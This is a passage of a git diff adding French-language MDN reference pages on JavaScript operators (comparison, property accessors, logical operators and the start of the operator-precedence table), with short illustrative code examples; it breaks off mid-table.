+// true car a et 'toto' sont de type différents et lorsque a est
+// converti, la fonction de conversion renvoie bien la chaîne 'toto'
+a == 'toto' </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Ajoute les opérateurs <code>===</code> et <code>!==</code>. Implémentés avec JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.8">opérateurs relationnels</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.9">opérateurs d'égalité</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-relational-operators">opérateurs relationnels</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-equality-operators">opérateurs d'égalité</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://tc39.github.io/ecma262/#sec-relational-operators">opérateurs relationnels</a>, <a href="https://tc39.github.io/ecma262/#sec-equality-operators">opérateurs d'égalité</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.comparison")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/%C3%89galit%C3%A9_en_JavaScript">L'égalité en JavaScript</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Les_diff%C3%A9rents_tests_d_%C3%A9galit%C3%A9_comment_les_utiliser">Les différents tests d'égalité en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_de_membres/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_membres/index.html
new file mode 100644
index 0000000000..e78aae110d
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_de_membres/index.html
@@ -0,0 +1,154 @@
+---
+title: Accesseurs de propriétés
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Property_Accessors
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Les <strong>accesseurs de propriété</strong> permettent de fournir un accès aux propriétés d'un objet en utilisant une notation avec un point ou une notation avec des crochets</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-propertyaccessors.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">objet.propriété
+objet["propriété"]
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets peuvent être vus comme des tableaux associatifs (<em>map</em>, dictionnaires, table de hachage, annuaire, etc.). Les <em>clés</em> (<em>keys</em>) de ce tableau sont les noms des propriétés de l'objet. Lorsqu'on parle d'objets, on fait généralement une distinction entre les propriétés et les méthodes. En réalité cette différence est plus dûe à une convention qu'à une réelle distinction. En effet, une méthode est simplement une propriété qu'on peut appeler (sa valeur fera souvent référence à une instance de {{jsxref("Function")}}).</p>
+
+<p>Il existe deux façons d'accéder aux propriétés d'un objet : la notation avec point et la notation avec crochets.</p>
+
+<h3 id="Notation_avec_point">Notation avec point</h3>
+
+<pre class="brush: js">obtenir = objet.propriété;
+objet.propriété = définir;
+</pre>
+
+<p><code>propriété</code> doit être un identifiant JavaScript valide, c'est-à-dire une séquence de caractères alphanumériques, soulignés (« <code>_</code> ») et signes dollar (« <code>$</code> »), qui ne peut commencer par un nombre. Par exemple, <code>objet.$1</code> est valide, mais <code>objet.1</code> ne l'est pas.</p>
+
+<pre class="brush: js">document.createElement('pre');
+</pre>
+
+<p>Ici, la méthode <code>createElement</code> est obtenue depuis l'objet <code>document</code> et est appelée.</p>
+
+<p>Si on utilise une méthode pour un littéral numérique et que celui-ci ne possède pas de point décimal ni d'exposant lié à la notation scientifique, il faudra laisser un ou plusieurs blancs afin que l'appel soit bien interprété comme un appel de méthode plutôt que comme un séparateur décimal :</p>
+
+<pre class="brush: js">77 .toExponential();
+// ou
+77
+.toExponential();
+// ou, mieux pour la lisibilité
+(77).toExponential();
+// ou encore
+77.0.toExponential();
+// 77. correspond à 77.0 et là il n'y a aucun doute
+</pre>
+
+<h3 id="Notation_avec_crochets">Notation avec crochets</h3>
+
+<pre class="brush: js">obtenir = objet[nom_de_propriété];
+objet[nom_de_propriété] = définir;
+</pre>
+
+<p><code>nom_de_propriété</code> est une chaîne de caractères ou un {{jsxref("Symbol","symbole","","")}}. Elle n'a pas besoin d'être un identifiant valide ; elle peut avoir n'importe quelle valeur, par exemple <code>"1foo"</code>, <code>"!bar!"</code> ou même <code>" "</code> (une espace).</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre class="brush: js">document['createElement']('pre');
+</pre>
+
+<p>Cette ligne fait exactement la même chose que l'exemple précédent.</p>
+
+<h3 id="Noms_de_propriétés">Noms de propriétés</h3>
+
+<p>Les noms de propriétés doivent être des chaînes de caractères ou des symboles. Cela signifie que les autres types d'objet ne peuvent pas être utilisés comme clés d'un objet. Tout autre type d'objet, même un nombre, sera converti en une chaîne via sa méthode <a href="fr/R%c3%a9f%c3%a9rence_de_JavaScript_1.5_Core/Objets_globaux/Object/toString"><code>toString</code></a>.</p>
+
+<h4 id="Exemples">Exemples</h4>
+
+<pre class="brush: js">var objet = {};
+objet['1'] = 'valeur';
+console.log(objet[1]);
+</pre>
+
+<p>Ceci affichera « valeur », étant donné que le nombre <code>1</code> sera converti en une chaîne <code>"1"</code>.</p>
+
+<pre class="brush: js">var toto = {propriété_unique : 1}, truc = {propriété_unique : 2}, objet = {};
+objet[toto] = 'valeur';
+console.log(objet[truc]);
+</pre>
+
+<p>Ce code affichera également « valeur », étant donné que <code>toto</code> et <code>truc</code> seront convertis en la même chaîne de caractères. Dans le cas du moteur JavaScript <a href="fr/SpiderMonkey">SpiderMonkey</a>, cette chaîne serait <code>"['object Object']"</code>.</p>
+
+<h3 id="Liaison_de_méthodes">Liaison de méthodes</h3>
+
+<p>Une méthode n'est pas liée à l'objet dont elle est une méthode. En particulier, <code>this</code> n'est pas défini dans une méthode, c'est-à-dire que <code>this</code> ne fait pas nécessairement référence à un objet contenant la méthode. En réalité, <code>this</code> est « passé » par l'appel de la fonction.</p>
+
+<p>Pour plus d'informations, consultez la page sur <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this#Liaison_de_m.C3.A9thodes">l'opérateur <code>this</code> et les liaisons de méthodes</a>.</p>
+
+<h3 id="Note_concernant_eval">Note concernant <code>eval</code></h3>
+
+<p>Les nouveaux venus en JavaScript font souvent l'erreur d'utiliser {{jsxref("eval", "eval()")}} alors que la notation avec crochets pourrait être utilisée. Par exemple, la syntaxe suivante est utilisée dans de nombreux scripts.</p>
+
+<pre class="brush: js">x = eval('document.formulaire.' + controle + '.value');
+</pre>
+
+<p><code>eval</code> est lente et insécurisée et devrait être évitée dès que possible. Il est préférable d'utiliser la notation avec crochets :</p>
+
+<pre class="brush: js">x = document.formulaire[controle].value;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-property-accessors', 'Accesseurs de propriété')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.2.1', 'Accesseurs de propriété')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.2.1', 'Accesseurs de propriété')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale, implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.property_accessors")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">L'affectation par décomposition</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Le chaînage optionnel</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_logiques/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_logiques/index.html
new file mode 100644
index 0000000000..8a87240700
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_logiques/index.html
@@ -0,0 +1,255 @@
+---
+title: Opérateurs logiques
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Les opérateurs logiques sont typiquement utilisés avec des valeurs booléennes (logiques) ; lorsque c'est le cas, ils renvoient une valeur booléenne également. Cependant, les opérateurs <code>&amp;&amp;</code> et <code>||</code> renvoient en réalité la valeur d'un des opérandes spécifiés. Si ces opérateurs sont utilisés avec des valeurs non booléennes, ils peuvent donc également renvoyer une valeur non booléenne.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les opérateurs logiques sont décrits dans le tableau suivant (les expressions indiquées comme opérandes peuvent être de n'importe quel type et pas nécessairement être booléennes au sens strict) :</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Opérateur</th>
+   <th>Usage</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>ET logique (<code>&amp;&amp;</code>)</td>
+   <td><code><em>expr1</em> &amp;&amp;<em>expr2</em> </code></td>
+   <td>Renvoie <code>expr1</code> si cette expression peut être convertie en <code>false</code>, sinon renvoie <code>expr2</code>.</td>
+  </tr>
+  <tr>
+   <td>OU logique (<code>||</code>)</td>
+   <td><code><em>expr1</em> ||<em>expr2</em> </code></td>
+   <td>Renvoie <code>expr1</code> si cette expression peut être convertie en <code>true</code>, sinon renvoie <code>expr2</code>.</td>
+  </tr>
+  <tr>
+   <td>NON logique (<code>!</code>)</td>
+   <td><code>!<em>expr</em> </code></td>
+   <td>Renvoie <code>false</code> si son opérande unique peut être converti en <code>true</code>, sinon il renvoie <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Si une valeur peut être convertie en <code>true</code>, on dit en anglais qu'elle est <em>truthy</em>. Pour <code>false</code> on dit qu'elle est <em>falsy</em>.</p>
+
+<p>Parmi les expressions qui peuvent être converties en <code>false</code>, citons celles qui seront évaluées à :</p>
+
+<ul>
+ <li><code>null</code>,</li>
+ <li><code>NaN</code>,</li>
+ <li><code>0</code>,</li>
+ <li>la chaîne vide (<code>""</code> ou <code>''</code> ou <code>``</code>),</li>
+ <li><code>undefined</code>.</li>
+</ul>
+
+<p>Même si les opérateurs <code>&amp;&amp;</code> et <code>||</code> peuvent être utilisés avec des opérandes qui ne sont pas des valeurs booléennes, ils peuvent toujours être considérés comme des opérateurs booléens puisque leurs valeurs de retour peuvent toujours être converties en valeurs booléennes.</p>
+
+<h3 id="Évaluation_court-circuit">Évaluation court-circuit</h3>
+
+<p>Comme les expressions logiques sont évaluées de gauche à droite, leur évaluation sera éventuellement « court-circuitée » à l'aide des règles suivantes :</p>
+
+<ul>
+ <li>l'évaluation de <code>false &amp;&amp;<em> n'importe quoi</em> </code> est court-circuitée en <code>false</code>.</li>
+ <li>l'évaluation de <code>true ||<em> n'importe quoi</em> </code> est court-circuitée en <code>true</code>.</li>
+</ul>
+
+<p>Les règles de la logique garantissent que ces évaluations seront toujours correctes. Notons que la partie<em>n'importe quoi</em> des expressions mentionnées ci-dessus ne sera jamais évaluée, et que tout effet de bord éventuel induit par cette évaluation ne se produira pas.</p>
+
+<p>Ainsi, les deux fonctions suivantes sont équivalentes :</p>
+
+<pre>function courtCircuit() {
+  // OU logique
+  faireQuelqueChose() || faireAutreChose();
+
+ faireQuelqueChose() &amp;&amp; faireAutreChose();
+}
+
+function évaluationÉquivalente() {
+  var orFlag = faireQuelqueChose();
+  if (!orFlag) {
+    faireAutreChose();
+  }
+
+  var andFlag = faireQuelqueChose();
+  if (andFlag) {
+    faireAutreChose();
+  }
+}
+</pre>
+
+<h3 id="Précédence_des_opérateurs">Précédence des opérateurs</h3>
+
+<p>Les expressions suivantes ne sont pas équivalentes en raison de <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Précédence_des_opérateurs">la précédence des opérateurs</a>. Cela permet de noter que l'opérande droit ne doit être qu'une seule expression (si nécessaire entourée de parenthèses).</p>
+
+<pre>true || false &amp;&amp; false   // renvoie true car &amp;&amp; est appliqué en premier
+(true || false) &amp;&amp; false // renvoie false car || est appliqué en premier grâce aux parenthèses</pre>
+
+<h3 id="ET_logique"><a name="Logical_AND">ET logique (<code>&amp;&amp;</code>)</a></h3>
+
+<p>Le code qui suit illustre comment utiliser l'opérateur <code>&amp;&amp;</code> (ET logique).</p>
+
+<pre>a1 = true  &amp;&amp; true      // t &amp;&amp; t renvoie true
+a2 = true  &amp;&amp; false     // t &amp;&amp; f renvoie false
+a3 = false &amp;&amp; true      // f &amp;&amp; t renvoie false
+a4 = false &amp;&amp; (3 == 4)  // f &amp;&amp; f renvoie false
+a5 = "Yip" &amp;&amp; "Yop"     // t &amp;&amp; t renvoie "Yop"
+a6 = false &amp;&amp; "Yop"     // f &amp;&amp; t renvoie false
+a7 = "Yop" &amp;&amp; false     // t &amp;&amp; f renvoie false
+a8 = ""    &amp;&amp; true      // f &amp;&amp; f renvoie ""
+a9 = false &amp;&amp; ""        // f &amp;&amp; f renvoie false
+</pre>
+
+<h3 id="OU_logique"><a name="Logical_OR">OU logique (<code>||</code>)</a></h3>
+
+<p>Le code qui suit illustre quelques exemples d'utilisation de l'opérateur <code>||</code> (OU logique).</p>
+
+<pre>o1 = true  || true       // t || t renvoie true
+o2 = false || true       // f || t renvoie true
+o3 = true  || false      // t || f renvoie true
+o4 = false || (3 == 4)   // f || f renvoie false
+o5 = "Yip" || "Yop"      // t || t renvoie "Yip"
+o6 = false || "Yip"      // f || t renvoie "Yip"
+o7 = "Yip" || false      // t || f renvoie "Yip"
+o8 = ""    || false      // f || f renvoie false
+o9 = false || ""         // f || f renvoie ""
+010 = false|| monObjet   // f || objet renvoie monObjet
+</pre>
+
+<h3 id="NON_logique!"><a name="Logical_NOT">NON logique(<code>!</code>)</a></h3>
+
+<p>Le code qui suit illustre quelques exemples d'utilisation de l'opérateur <code>!</code> (NON logique).</p>
+
+<pre>n1 = !true              // !t renvoie false
+n2 = !false             // !f renvoie true
+n3 = !""                // !f renvoie true
+n3 = !"Yop"             // !t renvoie false
+</pre>
+
+<h4 id="Utilisation_de_la_double_négation">Utilisation de la double négation</h4>
+
+<p>Il est possible d'utiliser deux fois le NON logique à la suite afin de forcer la conversion d'une valeur en un booléen. On obtiendra ainsi le booléen <code>true</code> si la valeur est équivalente à vrai et <code>false</code> si la valeur est équivalente à faux. Cette opération de conversion peut également être réalisée grâce à la fonction {{jsxref("Boolean")}}.</p>
+
+<pre class="brush: js">n1 = !!true;                 // une valeur équivalente à true renvoie true
+n2 = !!{};                   // un objet, même vide est toujours équivalent à true
+n3 = !!(new Boolean(false)); // même lorsque leur constructeur est Boolean !
+n4 = !!false;                // une valeur équivalente à false renvoie false
+n5 = !!"";                   // idem
+n6 = !!Boolean(false);       // ici Boolean n'est pas utilisé comme constructeur
+                             // et la valeur produite est bien équivalente à false</pre>
+
+<h3 id="Règles_de_conversions">Règles de conversions</h3>
+
+<h4 id="Convertir_un_ET_logique_avec_des_OU_logiques">Convertir un ET logique avec des OU logiques</h4>
+
+<p>L'opération suivante</p>
+
+<pre>condition1 &amp;&amp; condition2</pre>
+
+<p>sera toujours égale à :</p>
+
+<pre>!(!condition1 || !condition2)</pre>
+
+<h4 id="Convertir_un_OU_logique_avec_des_ET_logiques">Convertir un OU logique avec des ET logiques</h4>
+
+<p>L'opération suivante :</p>
+
+<pre>condition1 || condition2</pre>
+
+<p>sera toujours égale à :</p>
+
+<pre>!(!condition1 &amp;&amp; !condition2)</pre>
+
+<h4 id="Convertir_des_NON_logiques_successifs">Convertir des NON logiques successifs</h4>
+
+<p>Si on a l'opération suivante avec un booléen :</p>
+
+<pre>!!condition
+</pre>
+
+<p>elle sera toujours équivalente à</p>
+
+<pre>condition</pre>
+
+<h3 id="Retirer_les_parenthèses_imbriquées">Retirer les parenthèses imbriquées</h3>
+
+<p>Les expressions logiques sont évaluées de gauche à droite, il est donc possible de retirer certaines parenthèses d'une expression complexe grâce à quelques règles.</p>
+
+<h4 id="Retirer_les_parenthèses_dun_ET_imbriqué">Retirer les parenthèses d'un ET imbriqué</h4>
+
+<p>Cette opération :</p>
+
+<pre>condition1 || (condition2 &amp;&amp; condition3)</pre>
+
+<p>sera toujours équivalente à :</p>
+
+<pre>condition1 || condition2 &amp;&amp; condition3</pre>
+
+<h4 id="Retirer_les_parenthèses_dun_OU_imbriqué">Retirer les parenthèses d'un OU imbriqué</h4>
+
+<p>Cette opération :</p>
+
+<pre>condition1 &amp;&amp; (condition2 || condition3)</pre>
+
+<p>sera toujours équivalente à :</p>
+
+<pre>!(!condition1 || !condition2 &amp;&amp; !condition3)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.11')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.4.9">opérateur NON logique</a>, <a href="https://www.ecma-international.org/ecma-262/5.1/#sec-11.11">opérateurs logiques binaires</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-logical-not-operator">opérateur NON logique</a>, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-binary-logical-operators">opérateurs logiques binaires</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-binary-logical-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définis dans plusieurs sections de la spécification : <a href="https://tc39.github.io/ecma262/#sec-logical-not-operator">opérateur NON logique</a>, <a href="https://tc39.github.io/ecma262/#sec-binary-logical-operators">opérateurs logiques binaires</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.operators.logical")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_binaires">Les opérateurs binaires</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_littéraux_booléens">Le type primitif booléen</a></li>
+ <li>Le constructeur objet {{jsxref("Boolean")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/précédence_des_opérateurs/index.html b/files/fr/web/javascript/reference/opérateurs/précédence_des_opérateurs/index.html
new file mode 100644
index 0000000000..1aac441b77
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/précédence_des_opérateurs/index.html
@@ -0,0 +1,359 @@
+---
+title: Précédence des opérateurs
+slug: Web/JavaScript/Reference/Opérateurs/Précédence_des_opérateurs
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+  - precedence
+translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La <strong>précédence des opérateurs</strong> détermine l'ordre dans lequel les opérateurs sont évalués. Les opérateurs avec la plus haute précédence sont évalués en premier.</p>
+
+<p>Ainsi, l'opérateur de multiplication (« <code>*</code> ») (ayant une précédence plus haute que l'opérateur d'addition (« <code>+</code> »)) est évalué en premier et l'expression <code>6 * 4 + 2</code> renverra 26 (et pas 36).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Associativité">Associativité</h2>
+
+<p>L'associativité détermine l'ordre dans lequel des opérateurs de même précédence sont évalués. Par exemple, considérons l'expression suivante :</p>
+
+<pre class="syntaxbox">a OP b OP c
+</pre>
+
+<p>Une associativité de gauche (gauche à droite) signifie qu'elle est évaluée comme <code>(a OP b) OP c</code>, tandis qu'une associativité de droite (droite à gauche) signifie qu'elle est interprétée comme <code>a OP (b OP c)</code>. Les opérateurs d'affectation sont associatifs de droite, on peut donc écrire :</p>
+
+<pre class="brush:js">a = b = 5;
+</pre>
+
+<p>avec le résultat attendu que <code>a</code> et <code>b</code> obtiennent la même valeur de 5. C'est parce que l'opérateur d'affectation retourne la valeur qu'il affecte. D'abord, <code>b</code> est défini à la valeur 5. Ensuite, <code>a</code> est défini avec la valeur renvoyée par <code>b = 5</code> qui est 5.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">3 &gt; 2 &amp;&amp; 2 &gt; 1
+// renvoie true
+
+3 &gt; 2 &gt; 1
+// renvoie false car 3 &gt; 2 vaut true et que true &gt; 1 vaut false
+// En ajoutant des parenthèses, on y voit plus clair (3 &gt; 2) &gt; 1
+</pre>
+
+<h2 id="Tableau">Tableau</h2>
+
+<p>Le tableau suivant est classé de la plus haute (0) à la plus basse (19) précédence.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Précédence</th>
+   <th>Type d'opérateur</th>
+   <th>Associativité</th>
+   <th>Opérateurs individuels</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Groupement">Groupement</a></td>
+   <td>Non applicable</td>
+   <td><code>( … )</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="5">1</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_point">Accès à un membre</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… . …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_crochets">Accès à un membre calculé</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… [ … ]</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_sp%C3%A9ciaux/L'op%C3%A9rateur_new">new</a></code> (avec une liste d'arguments)</td>
+   <td>Non applicable</td>
+   <td><code>new … ( … )</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Appel de fonction</a></td>
+   <td>Gauche à droite</td>
+   <td><code>… ( <var>… </var>)</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Chaînage optionnel</a></td>
+   <td>Gauche à droite</td>
+   <td><code>?.</code></td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td><code><a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_sp%C3%A9ciaux/L'op%C3%A9rateur_new">new</a></code> (sans liste d'arguments)</td>
+   <td>Droite à gauche</td>
+   <td><code>new …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">3</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Incr.C3.A9ment_(.2B.2B)">Incrémentation suffixe</a></td>
+   <td>Non applicable</td>
+   <td><code>… ++</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#D.C3.A9cr.C3.A9ment_(--)">Décrémentation suffixe</a></td>
+   <td>Non applicable</td>
+   <td><code>… --</code></td>
+  </tr>
+  <tr>
+   <td colspan="1" rowspan="10">4</td>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_logiques#Logical_NOT_.28.21.29">NON logique</a></td>
+   <td>Droite à gauche</td>
+   <td><code>! …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.7E_.28NON_binaire.29">NON binaire</a></td>
+   <td>Droite à gauche</td>
+   <td><code>~ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Plus_unaire_(.2B)">Plus unaire</a></td>
+   <td>Droite à gauche</td>
+   <td><code>+ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#N.C3.A9gation_unaire_(-)">Négation unaire</a></td>
+   <td>Droite à gauche</td>
+   <td><code>- …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Incr.C3.A9ment_(.2B.2B)">Incrémentation préfixe</a></td>
+   <td>Droite à gauche</td>
+   <td><code>++ …</code></td>
+  </tr>
+  <tr>
+   <td><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#D.C3.A9cr.C3.A9ment_(--)">Décrémentation préfixe</a></td>
+   <td>Droite à gauche</td>
+   <td><code>-- …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof">typeof</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>typeof …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_void">void</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>void …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete">delete</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>delete …</code></td>
+  </tr>
+  <tr>
+   <td><code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/await">await</a></code></td>
+   <td>Droite à gauche</td>
+   <td><code>await …</code></td>
+  </tr>
+  <tr>
+   <td rowspan="4">5</td>
